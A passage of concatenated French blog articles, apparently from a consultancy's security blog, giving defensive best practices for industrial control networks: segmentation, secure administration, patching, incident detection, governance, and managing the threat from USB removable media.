• La disponibilité de redondance, de mise en tampon des données et de cold spare ;
• La fréquence de patch requise et l’historique de patch.

Le maintien du niveau de sécurité ne se base pas uniquement sur l’application de correctifs de sécurité sur les équipements. Il convient également de :

• Définir le processus de mise à jour des solutions de sécurité installées sur les équipements coupés du réseau ;
• Installer des solutions de nettoyage de média amovibles qui restent très présents sur les sites industriels – certains produits ont l’avantage d’être portables et donc d’analyser le média pendant le déplacement à l’intérieur du site industriel ;
• Assurer la sauvegarde des configurations des équipements et leurs intégrations au DRP afin de garantir une remise en route post-incident qui réponde aux besoins de disponibilité ;
• Mettre en place un suivi de l’IAM[1] Industriel afin d’avoir un contrôle d’accès physique et logique robuste. Cette action permettra aussi d’automatiser de nombreuses actions fastidieuses de revue de comptes parfois encore faites à la main.

La détection des incidents de cyber sécurité

Les mesures citées précédemment permettent de réduire la probabilité d’occurrence des risques et donc d’augmenter la disponibilité des équipements pour le Métier. Il faut néanmoins se préparer au pire et avoir les outils nécessaires à la détection d’un incident pour le remédier au plus vite et garantir un temps d’interruption réduit au maximum.

La mise en place de la détection

La première étape à réaliser est l’activation des fonctions IDPS[2] sur les équipements réseaux afin d’assurer un premier stade de détection et potentiellement de blocage automatique.

Il s’agit ensuite d’assurer la collecte d’informations en déployant un concentrateur sur site. Les logs des équipement réseaux et serveurs pourront ainsi être envoyés aux SIEM[3] existants ou dédiés dans lesquels se feront corrélation et détection. Les SOC[4] et CERT[5] peuvent alors réaliser les opérations d’analyse, de détection et éventuellement de réaction sur incident en se basant sur des scénarios classiques.

L’anticipation de risques spécifiques

Cependant, la détection basée sur des scénarios classiques n’apportera que peu de valeur aux métiers. La prise en compte de l’ensemble des sources (PC, Linux, UNIX…) et la mise en place de sondes dédiées aux SI Industriels capables de s’interfacer avec des systèmes SCADA peut permettre d’améliorer le système de détection. Toutefois, ces solutions peuvent s’avérer coûteuses.

L’élément clé consistera ici à assurer une montée en maturité et en valeur incrémentale et rapide du SOC.

Se préparer à la remédiation

Pour finir, la détection d’un incident ne pourra aboutir à une remédiation efficace que si le Métier est inclus. Tout comme pour les mises à jour d’équipements, il convient donc de revoir les procédures d’arrêt d’urgence avec les utilisateurs du SI Industriel. La formalisation d’un Plan de Réponse à Incident permet de planifier les actions à mener en cas d’incident cyber-industriel.

Des exercices de gestion de crise dédiés au SI Industriel doivent également être menés pour assurer une préparation optimale des équipes et mettre en lumière les éventuels manques.

Une approche progressive et participative garantira le succès de la démarche

La mise en conditions de sécurité d’un SI Industriel est un chantier complexe qui ne peut être faite qu’avec le Métier. Il convient donc de travailler avec lui de manière progressive et participative sur chacun des chantiers suivants :

• Prendre connaissance de son SI Industriel en réalisant une cartographie en priorisant les éléments les plus critiques ;
• Mitiger les risques sur le SI Industriel en mettant en place l’état de l’art de l’architecture réseau sécurisée et définir les processus d’administration – les SI de Sûreté, par leur criticité, devront faire l’objet d’une attention particulière ;
• Atteindre un niveau de sécurité adéquat par le durcissement et le maintien en conditions de sécurité des équipements dans le temps – des discussions pourront notamment avoir lieu avec les fournisseurs et constructeurs d’équipements ;
• Mettre en place les outils nécessaires à la détection d’incident de sécurité, qui peuvent avoir une influence sur la production, et définir les processus de réaction.

Toutes ces actions ne peuvent pas toujours être menées en parallèle. La définition d’une feuille de route claire va permettre la priorisation des différentes actions pour pouvoir maitriser les coûts et maximiser l’apport pour le Métier.

Si ce vaste chantier est souvent initialisé en central, l’enjeu reste de pouvoir embarquer les sites, parfois répartis dans le monde entier, pour assurer une sécurité pérenne dans le temps. Nous observons, en général, une démarche en deux temps :

1. Un programme cybersécurité pluriannuel (souvent 3 ans) pour un budget de 10 à 15 millions d’euros visant à :

• Réaliser l’inventaire des SI Industriels ;
• Élever le niveau de sécurité du parc existant par la mise en place de protections souvent périmétriques et de filtrage ainsi que la remédiation des vulnérabilités les plus critiques – la définition de procédures est ici nécessaire ;
• Faire émerger un premier réseau de coordinateurs cybersécurité locaux ;

2. La création d’une filière cybersécurité industrielle et de la gouvernance associée réunissant :

• Le cadrage des activités clés à piloter par les acteurs locaux ;
• La construction participative d’outils pour aider ce réseau de responsable locaux à opérer les activités de cybersécurité sur le contenu ;
• La construction des moyens de pilotage de la montée en maturité et de gestion du changement (matrices de maturité, outils de modélisation budgétaire par site, définition d’indicateurs de pilotage, services centraux consommables par les sites…).

La mise en place de la gouvernance peut démarrer après le programme et tirer ainsi profit du premier réseau de correspondants sensibilisés à la cybersécurité bâti par le programme.

Une fois construite, il s’agit ensuite de l’animer et de piloter la progression des sites et des systèmes industriels à la fois en termes de niveau de sécurité et de niveau de maturité.

Cette animation réunit en général :

• Un réseau responsables cybersécurité locaux de 0,5 à 2 ETP[6] par site en charge de réaliser les projets, d’implémenter les activités récurrentes de cybersécurité, d’améliorer continuellement la sécurité et de reporter ;
• Une équipe centrale de 3 à 10 ETP pilotant globalement et appuyant les responsables locaux notamment en termes d’expertise.

[1] IAM i.e. Identity and Access Management.

[2] IDPS i.e. Introduction Detection and Prevention Systems.

[3] SIEM i.e. Security Incident and Event Management.

[4] SOC i.e. Security Operation Center.

[5] CERT i.e. Computer Emergency Response Team.

[6] Ces chiffres peuvent varier significativement en fonction de la taille de l’entreprise et du nombre de sites locaux, il s’agit d’une moyenne observée dans de grandes organisations internationales que Wavestone accompagne.

Cet article Saga (3/3) – Retours d’expérience et bonnes pratiques pour protéger et maintenir en condition de sécurité des SI Industriels est apparu en premier sur RiskInsight.

L’administration, point névralgique de l’architecture réseau

L’administration d’un SI est essentielle pour garantir sa disponibilité et sa sécurité. Dans un programme de sécurisation d’un SI, il convient de prendre en compte les objectifs que l’on souhaite atteindre afin d’obtenir le modèle le plus adapté. Dans notre cas, les bonnes pratiques que nous observons sur le terrain consistent à :

• Créer un réseau d’administration isolé du réseau de production et étendu à la fois en central et localement pour protéger les flux d’administration afin d’éviter des pertes d’intégrité sur des flux de pilotage d’opérations sensibles ;
• Protéger les équipements d’administration pour éviter une prise de contrôle directe de ces éléments critiques par un attaquant ;
• Homogénéiser au maximum les pratiques et standardiser les équipements afin de faciliter les déploiements d’une architecture d’administration sécurisée voire centralisée, et le maintien dans le temps du niveau de sécurité – cela pouvant se faire en mutualisant les ressources dans une équipe centrale et dédiée.

Attention, nous ne traitons ici que l’administration de l’infrastructure des SI Industriels. L’administration des automates, par exemple, est faite par le métier pour ce qui est de la configuration et passera par le poste de configuration et de maintenance dédié, en cas de besoin de mise à jour.

La première étape consiste à créer la structure du réseau d’administration isolé et étendu. Cet objectif peut être atteint au travers des mesures suivantes :

• Dans une optique d’optimisation et de mutualisation des ressources, le réseau d’administration est construit autour d’un ou plusieurs datacenters, notamment pour assurer le DRP[1].
• Afin de réduire le risque de propagation par rebond depuis un site infecté, le réseau WAN[2] mis en place entre le datacenter et les sites industriels peut être configuré en hub and spoke[3] pour assurer une isolation entre chaque site.
• Pour pouvoir garantir l’intégrité et la confidentialité des flux d’administration, ceux-ci doivent être isolés au sein d’une VRF[4] spécifique ou d’un réseau VPN[5] d’administration entre le datacenter et chaque site. La mise en place de ce réseau dédié à l’administration se fait notamment par l’utilisation d’équipements télécom, de sécurité et d’interfaces dédiées sur les serveurs.
• Pour les sites les plus importants, le risque d’intrusion depuis le LAN utilisateur peut être réduit par la mise en place d’un LAN[6] d’administration accessible uniquement depuis le LAN d’administration du datacenter. Une telle architecture doit cependant prévoir une solution de résilience dans le cas où le WAN venait à être coupé pour permettre aux sites d’y accéder directement mais aussi pour les équipements qui ne sont tout simplement pas maintenables à distance.
• Les entreprises ayant de nombreux sites peuvent également utiliser un boitier standardisé embarquant toutes les fonctions de sécurité nécessaires à l’interconnexion d’un site. Cela facilite en effet la configuration et le maintien en conditions de sécurité.

Figure 1 – Schéma d’interconnexion d’un site standard ou avec SCADA

La deuxième étape consiste à brancher les équipements d’administration et les équipements à administrer sur ce réseau en les protégeant d’une compromission.

Figure 2 – Schéma d’interconnexion d’un site autonome

Il arrive également d’avoir une partie du SI complétement déconnectée pour des raisons diverses. Ce SI étant déconnecté, il ne présente pas de risque SSI mais uniquement un risque métier. Son état déconnecté abaisse cependant son niveau d’exposition et donc le risque d’intrusion. Il est donc opportun de réaliser une analyse de risques pour décider de la façon de procéder. Les moyens seront alors adaptés en allant d’une simple procédure d’administration locale jusqu’à la mise en place d’une infrastructure d’administration dédiée, celle-ci pouvant se révéler coûteuse.

Ces différentes briques réseau permettent ainsi aux administrateurs centraux d’accéder aux équipements. Il faut cependant leur donner accès aux outils nécessaires.

L’outillage des administrateurs, comment prévoir leurs besoins en garantissant la sécurité

La gestion des SI de Gestion et Industriel étant généralement distincte, l’outillage mis en œuvre est dédié, bien qu’il puisse s’appuyer sur des produits identiques. La mise en place de cet outillage va permettre de répondre à plusieurs objectifs :

• Assurer le contrôle d’accès sur les interfaces d’administration pour réduire la probabilité d’obtention de capacités d’attaque et d’utilisation frauduleuse des outils ;
• Tracer les actions des administrateurs pour réduire les impacts potentiels d’une attaque en se créant des moyens de détection et réaction et en assurant la facilité d’investigation à posteriori.

Cela se traduit par la mise en œuvre d’une chaîne d’administration.

Figure 3 – Schéma de principe de la chaîne d’administration

Afin de centraliser les accès et de maintenir un contrôle fin sur les autorisations, un bastion d’administration doit être mis en place. Les comptes génériques sont joués par le bastion et protégés dans son coffre-fort numérique. Le bastion assure également la traçabilité des actions et diminue le risque de vol de comptes à privilèges génériques. Le bastion peut également sécuriser les flux d’administration en réalisant de la translation de protocole (Telnet[8] vers SSH[9] par exemple).

Pour les équipements ayant un niveau de maturité sécurité suffisant (gestion fine des droits, traçabilité, comptes nominatifs), il peut être envisagé d’assurer leur administration directement, sans passer par un bastion (cela peut notamment être le cas pour des équipements télécom).

La mise en place d’un poste d’administration dédié, où seront installés les outils nécessaires au Métier, nécessite la mise en place d’un processus d’installation de ces outils afin de maintenir le niveau de sécurité de ce poste mais aussi de connaître la liste des outils déployés sur le SI.

La prise en compte des mainteneurs externes

Enfin, il est primordial de sécuriser l’accès des tiers mainteneurs afin de limiter les risques provenant d’accès abusifs ou non cadrés (infection du SI après installation d’un outil non validé, perte de donnée liée à un tiers malicieux, indisponibilité des équipements, …).

La mise en œuvre d’un point d’accès externe avec une authentification forte est nécessaire afin de garantir l’identité des utilisateurs. Ce point d’accès permet aux mainteneurs d’accéder à un poste de rebond maîtrisé et durci par le client tout en assurant la traçabilité des actions. Sur ce point, les clients les plus avancés mettent en œuvre des solutions permettant de ne donner accès au SI que durant la durée de l’intervention et cela uniquement après validation interne.

Les postes de configuration et de maintenance, dédiés au site et aux automates, doivent quant à eux faire l’objet d’un suivi particulier pour être mis à jour et rester en conditions de sécurité, notamment pour ce qui est des outils déployés.

Pour aller plus loin, on peut s’intéresser au Groupe de Travail de l’ANSSI[12] sur la Cybersécurité des Systèmes Industriels et à son référentiel PIMSEC[13] qui recommande un certain nombre d’exigences de sécurité à appliquer contractuellement à ses prestataires intervenants sur le SI Industriel.

Nous avons à présent une connaissance de nos équipements et des solutions pour les sécuriser et les administrer. Cependant, les enjeux de cybersécurité évoluent dans le temps, il est donc primordial de garantir un niveau de sécurité dans le temps et de déployer des moyens de détection adéquats. Comment ? Ce sera le sujet de notre prochaine article !

[1] Disaster Recovery Plan i.e. Plan de Reprise d’Activité.

[2] WAN i.e. Wide Area Network.

[3] Réseau Hub and Spoke i.e. Réseau en étoile autour du data center.

[4] Virtual Routing and Forwarding i.e. un plan de routage virtuel.

[5] VPN i.e. Virtual Private Network.

[6] LAN i.e. Local Area Network.

[7] VLAN i.e. Virtual Local Area Network, ou Virtual LAN

[8] Telnet i.e. Terminal Network, Telecommunication Network ou encore Teletype Network

[9] SSH i.e. Secure Shell

[10] RDP i.e. Remote Desktop Protocol

[11] Loi de Programmation Militaire servant à identifier et sécuriser les organisations et les SI d’Importance vitale.

[12] ANSSI i.e. Agence Nationale de la Sécurité des Systèmes d’Information.

[13] PMSEC i.e. Référentiel d’exigences de sécurité pour les prestataires d’intégration et de maintenance de Systèmes Industriels.

Cet article Saga (2/3) – Retours d’expérience et bonnes pratiques pour protéger et maintenir en condition de sécurité des SI industriels est apparu en premier sur RiskInsight.

L’ouverture au SI de Gestion, une nécessité mais un vecteur de risques  

Historiquement, le SI Industriel n’était pas interconnecté avec le SI de Gestion, par absence de besoin ou par recherche d’une limitation de son exposition. L’essentiel des actions se faisait localement, directement sur les équipements ou à distance avec des moyens spécifiques, avec une gouvernance et des opérations souvent elles-mêmes locales.   

L’évolution des besoins Métier et l’optimisation des procédés de production ont fait émerger de nouveaux enjeux moins locaux (supervision à distance, télémaintenance, émergence de l’IoT, standardisation et rationalisation des technologies et des compétences, cyber menaces, etc.) dans le but d’accroitre la performance et le confort des opérations. Ces enjeux ont amené un besoin de numérisation et d’interconnexion entre les SI Industriels et les SI de Gestion.  

Bien que nécessaires au bon fonctionnement des Métiers, nos échanges avec les opérationnels montrent bien que ces interconnexions ont eu pour conséquence de générer des risques d’intrusion et de propagation entre ces systèmes d’informations :  

• Sur les opérations et la qualité avec de potentiels arrêts ou altérations de lignes de production entraînant des impacts financiers, d’image voire humains ;  

• Sur la sécurité des installations en cas de compromission grave d’outils de production pouvant avoir des impacts sur l’humain ou l’environnement.  

La mitigation de ces risques d’intrusion et de propagation et de leur conséquence nécessite de mettre en place des activités et mesures de sécurité en différentes étapes :  

• La cartographie du SI Industriel ;  
• La mise en place d’une architecture réseau sécurisée ; 
• Le durcissement puis le maintien en conditions de sécurité des différents systèmes ;  
• Enfin, la mise en place de moyens de détection d’incident et de réaction.  

Les autorités se sont par ailleurs penchées sur le sujet et imposent ces mesures, et d’autres encore, sur les périmètres les plus sensibles.  

Des interventions parfois distantes et potentiellement fréquentes (patch management, revue de compte, contrôle d’intégrité etc.), d’équipes plus éloignées des opérations, peuvent alors être nécessaires et se heurter à un modèle opérationnel historique pensé pour privilégier la continuité et l’intégrité des opérations, la qualité, l’hygiène et la sûreté, tout en minimisant les disruptions.  

Comment mettre en place ces mesures sans pour autant perdre de vue la finalité du SI Industriel : faire fonctionner un procédé physique de façon nominale ?  

La cartographie, un prérequis au traitement des risques de cybersécurité sur les SI Industriels  

Afin d’évaluer les risques et maîtriser les impacts potentiels des mesures, la première action à mener et de construire une cartographie SI des installations Industrielles permettant :  

• De connaître les systèmes à administrer et à maintenir à jour ;  
• D’identifier les utilisateurs Métier et donc les interlocuteurs à impliquer lorsqu’un changement est nécessaire, pour en maîtriser les impacts opérationnels ;  
• D’évaluer les impacts potentiels de nouvelles vulnérabilités et failles de sécurité en matière de sûreté, d’opérations et de qualité.  

Une fois que le processus de cartographie est lancé, il faut également formaliser la procédure de mise à jour de cette même cartographie en définissant une fréquence de mise à jour par degré de criticité puis s’atteler au traitement des risques.   

Ce chantier conséquent va donc requérir un dialogue et une collaboration étroite avec les automaticiens et les membres de l’ingénierie 

La mitigation des risques sur le SI INDUSTRIEL par la mise en place d’une architecture de sécurité  

La sécurité n’étant pas un sujet nouveau, il parait donc logique de vouloir suivre les principes d’architecture et de sécurité des SI de Gestion pour les SI Industriels tout en les adaptant à leurs spécificités : 

• Réduire les risques de propagation et d’intrusion en assurant un cloisonnement du SI Industriel et en restreignant les accès ;  
• Sécuriser l’administration du SI en mettant en place une architecture d’administration dédiée ; 
• Equiper les administrateurs avec les outils adéquats pour intervenir sur l’ensemble du parc Industriel ;  
• Intégrer dès le départ, lorsque cela est possible, l’intervention des mainteneurs externes. 

Ces quatre principes sont les pierres angulaires de la sécurisation de l’architecture d’un SI Industriel.  

Le cloisonnement, le début de la réduction de l’exposition  

Les SI de Gestion et Industriels n’ont, par essence, pas les mêmes buts : l’un sert à faire fonctionner une entreprise (messagerie, gestion, outils collaboratifs…) tandis que l’autre sert à opérer des procédés physiques. Théoriquement, ils devraient être cloisonnés et seuls certains flux autorisés mais le retour terrain montre que c’est rarement le cas.  

Comme dans toute démarche de sécurisation d’un SI, il convient d’adopter le principe de strict nécessaire afin de limiter l’exposition aux cybermenaces. Les interconnexions entre la Gestion et l’Industriel ne doivent répondre qu’à des besoins spécifiques comme par exemple :  

• L’envoi des ordres de productions aux SCADA[1] ;  
• Le transfert des fichiers de FAO[2] aux machines à commandes numériques ;  
• La remontée des données de productions pour garantir un pilotage des opérations. 

Le SI Industriel se doit également d’être cloisonné en son sein afin de réduire le risque de propagation. Pour ce faire, nous pouvons suivre le principe de zones et conduits tel que décrit dans la norme IEC 62443.   

En pratique, nous pouvons effectuer ce cloisonnement en plusieurs étapes : 

• Lister les fonctions Métier avec différents niveaux de sûreté ;  
• Rassembler les fonctions de même niveau de forme de zones (avec potentiellement une zone « legacy » et ses sous-zones) ;  
• Mettre en place les règles de sécurité par zone en fonction de leurs besoins tels que décrits dans la norme IEC 62443 ;  
• Vérifier que les interconnexions (conduits) entres les différentes zones respectent les règles de sécurité ;  
• Migrer les applications – la mise en conformité des applications peut être longue et difficile et il peut ici être opportun de procéder par analyse de risques pour prioriser et piloter, et de lister les non-conformités et les plans de remédiations associés. De même la migration elle-même peut être complexe pour s’assurer de ne pas impacter les opérations.  

La particularité des SI de sureté   

Les SI de sûreté sont les SI Industriels permettant de mettre en condition de sûreté les systèmes Industriels de production. Ils ont longtemps été mécaniques, puis pneumatiques, électriques avant d’être numérisés.  On comprend donc l’importance d’en assurer spécifiquement l’intégrité. Un dernier chantier de cloisonnement peut donc être envisagé pour le permettre. Cependant, on se rend bien souvent compte sur le terrain que l’existant peut être un frein et donc rendre ce chantier complexe.   

Lorsqu’elle est réalisée de manière stricte, la séparation permet de réduire les risques de propagation, d’avoir des niveaux de sécurité distincts entre SI de production et SI de sûreté en fonction de leurs niveaux de risques. Elle a cependant l’inconvénient de nécessiter un système SCADA dédié et est donc coûteuse et non ergonomique pour les opérations.   

Figure 1 - Schéma de cloisonnement SI Industriel / SI de Sûreté (SIS)  

Après avoir lancée cette démarche d’identification et de cloisonnement des SI Industriels, il convient de traiter de leur administration. Comment concilier sécurité, gain opérationnel et disponibilité de l’outil de production ? Nous vous en parlerons très prochainement. 

[1] SCADA i.e. Supervisory Control And Data Acquisition system

[2] FAO i.e. Fabrication Assistée par Ordinateur

[3] DMZ i.e. Demilitarized Zone.

Cet article Saga (1/3) – Retours d’expérience et bonnes pratiques pour protéger et maintenir en condition de sécurité des SI industriels est apparu en premier sur RiskInsight.

Les réseaux industriels aussi appelés « OT » (Operating Technology) ou « Réseaux de production » regroupent ici aussi bien : les réseaux de production dans les usines, les bancs de test, laboratoires de recherche ou bien encore les réseaux embarqués dans des produits technologiques : train, voiture, avion, etc.

Les clés USB, véritables couteaux Suisses des SI Industriels, se révèlent être de formidables vecteurs de cyberattaques

Des réseaux industriels particulièrement vulnérables

Les systèmes industriels ont des durées de vie importantes pouvant s’élever à plusieurs dizaines d’année. Ces durées bien supérieures à celles communes dans l’IT classique, les confrontent à des problèmes d’obsolescence matérielle ou logicielle. Ces systèmes ne sont alors plus maintenus par leurs fournisseurs qui ne publient plus de mises à jour de sécurité. Le maintien en condition de sécurité est alors complexe voire impossible.

Même lorsque des mises à jour sont publiées leur application pose des problèmes. En effet cela nécessite de disposer d’une fenêtre de maintenance. Celle-ci peut avoir un impact opérationnel. Il faut également dans certains cas requalifier le système ou effectuer des tests techniques et fonctionnels avant de pouvoir redémarrer.

De plus, la standardisation des systèmes est devenue la norme. On trouve couramment des Systèmes d’Exploitation Windows ou Linux similaires au monde IT, les patchs de sécurité en moins. Cette facilité d’utilisation, est aussi exploitée par les virus informatiques.

L’obsolescence des systèmes industriels couplée à une difficulté de les maintenir en condition de sécurité et une standardisation devenue la norme, les rendent de plus en plus vulnérables aux cybermenaces. Encore faut-il accéder au réseau industriel pour exploiter ces vulnérabilités, ceux-ci étant historiquement moins exposés…

Ces vulnérabilités sont régulièrement exploitées en utilisant les médias amovibles comme vecteur

Or, les médias amovibles sont souvent utilisés comme pont entre le réseau bureautique interne ou un réseau externe et le réseau industriel, par exemple :

• Les périphériques de stockage USB peuvent être utilisés pour déployer des configurations ou des correctifs sur les systèmes déconnectés. Ces fichiers de configuration ou patchs sont issus de postes de travail qui se trouvent sur le réseau d’entreprise et qui disposent d’une connexion internet. Ces postes sont exposés aux menaces cyber, en conséquence les médias amovibles le sont aussi et à travers eux les systèmes déconnectés.
• De nombreux prestataires interviennent sur le réseau industriel pour acheminer des fichiers de configuration, outils de débogage et autres logiciels. Ils utilisent pour ce faire des clés USB. La multiplicité des sous-traitants implique un grand nombre d’échanges depuis des réseaux non maitrisés vers les réseaux industriels, chacun potentiellement vecteur de menace.

Ces échanges exposent le réseau industriel à plusieurs types de menaces :

• Il existe de nombreux virus exploitant des vulnérabilités Windows se propageant grâce aux médias amovibles. Un des plus connus reste le virus Conficker qui exploite le mécanisme de lancement automatique de tâche des médias amovibles et parvient ainsi à lancer automatiquement une charge virale au branchement du média. Une fois un ordinateur infecté, il a la capacité de se propager à d’autres hôtes en passant par un réseau informatique.
• Les périphériques de stockage peuvent également être détournés de leurs utilisations, ce type d’attaque est appelé « Bad USB ». Rubber Ducky en est un exemple, il fait passer une clé USB pour un périphérique d’entrée comme un clavier, pour lancer des commandes au branchement du périphérique avec un ordinateur.
• Au branchement avec un ordinateur, les USB killers qui se présentent comme des clés USB ordinaires, accumulent de l’énergie jusqu’à être sous haute-tension, puis rejettent cette énergie dans l’ordinateur hôte pour en détruire les composants physiques.

Or, l’utilisation de ces médias amovibles est difficilement contournable

Or, les médias amovibles peuvent être utilisés dans plusieurs cas comme par exemple le stockage de données, la sauvegarde, le transfert ou le partage d’information.

Ces différents cas d’usage sont apparus progressivement, souvent à l’initiative des utilisateurs sans réel encadrement de la DSI ou d’une direction métier. Lorsqu’on étudie ces différentes situations on peut les classer en deux catégories :

• Ceux qui sont facilement supprimables en proposant soit une alternative plus sécurisée soit une méthode de travail adaptée. Par exemple dans le cas de deux réseaux industriels connectés entre eux, la mise en place d’un espace de partage de fichiers sur le réseau peut remplacer un échange direct par média amovible.
• Ceux qui pourraient être supprimés au prix d’investissements importants ou très difficilement supprimables immédiatement. La situation typique est le cas d’un réseau isolé pour installer un nouvel ordinateur, le recours à un master par disque dur USB peut être difficile à remplacer.

Il est difficile de se passer totalement de l’utilisation des médias amovibles cependant leur utilisation reste problématique. Face à cette source de menace des solutions commencent à émerger.

De multiples solutions techniques qui émergent mais qui apportent une solution partielle

Une myriade de solutions techniques de plus en plus disponibles

Il existe différentes solutions techniques permettant de contrôler à différents niveaux le contenu ou l’utilisation d’un média amovible. On peut les catégoriser en plusieurs familles de solutions :

• Les bornes ou boitiers de décontamination seuls permettent, grâce à une ou plusieurs bases antivirales disponibles depuis l’équipement, d’analyser le contenu de la clé et si nécessaire de la formater ou de mettre en quarantaine les fichiers considérés comme malveillants. Plusieurs constructeurs proposent ce type de solutions, notamment : KUB, HOGO, Orange et SOTERIA.
• Celles plus complexes qui peuvent délivrer un certificat à la clé pour faire suite à son passage par la borne de décontamination. Ce certificat atteste à l’hôte que la clé a bien été analysée. Cela nécessite qu’un agent soit déployé sur tous les postes de travail pour permettre l’authentification par certificat. OPSWAT et FACTORY Systems comptent parmi les constructeurs. KUB, précédemment cité, propose cette option plus complexe sur ces boitiers.
• La dernière regroupe les périphériques utilisés comme filtres jouant le rôle de sas de sécurité s’interposant entre l’hôte et le média amovible. Il s’agit d’un matériel de petite taille, branché directement sur le port USB de l’hôte d’un côté, et sur la clé USB de l’autre côté. Son fonctionnement est basé sur du filtrage par listes blanches et/ou bloque l’écriture depuis le poste de travail vers le média amovible. SECLAB est un exemple de constructeur pour cette solution.

Les offres de solutions ayant toutes des caractéristiques différentes, il convient d’identifier parmi elles celle qui répond le mieux aux exigences de sécurité et aux contraintes des utilisateurs.

Ces solutions techniques créent des étapes supplémentaires et nécessitent du temps, ce qui peut freiner leur adoption

En fonction de la solution technique, la décontamination d’un média amovible constitue une étape qui peut être chronophage. En effet si la clé contient un grand nombre de petits fichiers devant tous être contrôlés, le délai de traitement de la tâche sera rallongé. Ce délai est également fortement dépendant de la performance du média testé.

Aussi, un problème de dimensionnement de la borne se pose si le média amovible est utilisé pour pousser de nombreuses mises à jour volumineuses (Microsoft par exemple) voire une base de données WSUS (Windows Server Update Services) complète entre 2 réseaux, celles-ci pouvant atteindre une centaine de Giga-octets de données. Si ce temps n’est pas maitrisé et limité au maximum, les utilisateurs de médias amovibles n’utiliseront pas la technologie choisie.

Un accès difficile découragerait les utilisateurs. En particulier, dans le secteur industriel, il existe de nombreuses contraintes en fonction des zones où les utilisateurs se trouvent. Un changement de zone peut nécessiter de changer d’équipement de protection, de tenue ou passer des contrôles particuliers. Un nombre insuffisant d’équipements conduirait au même problème d’accessibilité.

Il est nécessaire de placer les équipements là où la décontamination est encouragée ou incontournable (accueil, bureau de sûreté), et de trouver le bon compromis entre les différentes implémentations de solutions : solution appliquée centralement (borne) ou distribuée (boitier ou filtre).

Ces solutions techniques nécessitent souvent un Maintien en Condition Opérationnelle (MCO) et un Maintien en Condition de Sécurité (MCS) qui ne doivent pas être négligés

Le bon fonctionnement des solutions techniques identifiées implique de les mettre à jour, mettre à jour leurs bases virales dans le cas où la solution intègre un anti-virus, mettre à jour les règles de filtrage ainsi que pour les systèmes plus complexes la base de certificats. Il est également utile d’être en mesure d’émettre des rapports et des alertes quand l’outil le permet.

Pour cela les bornes de décontamination nécessitent plusieurs types d’accès :

• Aux serveurs de mises à jour antivirales ;
• Aux serveurs de mises à jour de leur système d’exploitation interne ;
• Au réseau de supervision pour l’émission des rapports et des alertes ;
• Parfois à un serveur dédié qui va gérer la base de certificats et la centralisation de l’administration.

Ces bornes s’intègrent ainsi dans une architecture plus ou moins complexe.

Les bornes de décontamination sont dotées d’un système d’exploitation et d’applications souvent standards, d’où l’importance de durcir leurs configurations afin qu’elles ne fassent pas elles-mêmes l’objet d’une attaque.

Il est nécessaire de mener une étude sur les solutions techniques envisageables en mettant en perspective la fiabilité, l’utilité, l’efficacité et le coût de chaque option. De même, il est indispensable de mener une réflexion sur la gouvernance de ces équipements qui se situent au carrefour entre le SI de gestion et le SI industriel. Cela doit permettre d’éviter les problèmes de sous-dimensionnement d’un projet d’implémentation de ces solutions qui conduirait les utilisateurs à se détourner de la solution choisie.

La protection des systèmes industriels contre les menaces issues de l’utilisation des clés USB passe par un choix réfléchi de la solution technique et de sa mise à disposition des utilisateurs. Sans cela et sans une sensibilisation aux enjeux de cybersécurité, les systèmes sont exposés et les impacts d’une attaque sont non-négligeables.

Ces outils doivent faire l’objet d’un projet complet : de la prise en compte des cas d’usage et la conduite du changement

Les cas d’utilisation doivent être connus pour arbitrer entre les différentes solutions voire supprimer l’utilisation du média amovible

Avant de proposer une solution technique, la 1^ère question à se poser porte sur la nécessité d’utiliser un média amovible. Pour y répondre, il faut lister avec les utilisateurs les différents cas d’usage existant.

Pour chaque cas, il faut déterminer si leur utilisation est bien appropriée et s’il n’existe pas de solution alternative plus efficace et plus sûre. Voici quelques exemples de situations couramment rencontrées pour lesquelles des solutions alternatives existent :

• Si une clé USB est utilisée comme lieu de stockage de fichiers de configuration alors une solution centralisée ou à minima le stockage sur un équipement adapté peuvent être proposés.
• Dans le cas d’un média utilisé entre deux équipements eux même connectés à un réseau, la mise en place d’un serveur d’échange, par exemple utilisant un protocole sécurisé comme SFTP sera envisagé.
• Pour les mainteneurs intervenant sur des systèmes connectés utilisant des médias amovibles pour mettre à jour des fichiers de configuration, une passerelle d’échange type MFT (Managed File Transfer) avec contrôle antivirale pourra être proposée. Cette application s’assure de l’innocuité d’un fichier en provenance d’une source externe avant de le mettre à disposition en interne. Une solution tierce consisterait à mettre des médias amovibles sécurisés à la disposition du personnel ou du mainteneur, en autorisant uniquement depuis des postes sas l’écriture sur ces médias.

Dans les cas restants, une solution adaptée est à envisager. La solution devra être présentée aux utilisateurs et son intérêt expliqué. Pour une meilleure adoption elle devra influer le moins possible sur le processus métier préexistant, à minima ne pas représenter une surcharge de travail ou de temps trop importante.

En plus de s’intégrer au cas d’usage métier, la solution technique doit répondre aux objectifs de sécurité visés

2 critères de choix sont à prendre en compte dans le cadre d’un projet de déploiement d’une solution de sécurisation des médias amovibles : le cas d’usage métier et les objectifs de sécurité visés.

Les objectifs de sécurité recherchés sont souvent les 2 mêmes : vérifier qu’un périphérique de stockage en est bien un (et pas une « Bad USB ») et vérifier que celle-ci ne comporte pas de charge virale. Ces 2 objectifs sont couverts par la majorité des solutions du marché.

C’est donc le cas d’usage métier qui va influer sur l’ergonomie de la solution retenue :

• Une borne fixe monobloc s’intègre bien à l’entrée d’une zone réservé à des opérateurs comme un laboratoire ou un atelier. A l’inverse une tablette permettra d’être plus mobile et de pouvoir être utilisée dans plusieurs cas d’usage.
• Une solution par certificat nécessitant un agent sur l’équipement ne posera pas de difficulté sur des postes standards sans qualification particulière mais peut être problématique dans des environnements qualifiés ou déjà obsolètes.
• Dans le cas d’une population mobile et devant toujours disposer d’un moyen de contrôler un média amovible, une solution par filtre peut être envisagée.

Une fois le type de solution choisie, les possibilités d’intégration de la solution à l’écosystème existant et les options de sécurité proposées permettront de sélectionner celle la plus adaptée.

La solution retenue doit intégrer des fonctions d’administration et de remontée d’incidents tout en garantissant un niveau de sécurité adapté

L’outil choisi doit être facilement administrable et notamment doté d’une administration centralisée si un nombre conséquent d’équipements est envisagé. Il est également nécessaire que la solution puisse être mise jour, aussi bien : le système d’exploitation de la solution, les applications embarquées et notamment antivirales ainsi que les bases de signatures.

Ces fonctionnalités sous-entendent que la solution aura besoin d’une connexion sur le réseau d’administration et d’une connexion à l’extérieur pour récupérer ces mises à jour. Ces connexions doivent être sécurisées et le serveur de mise à jour systématiquement identifié.

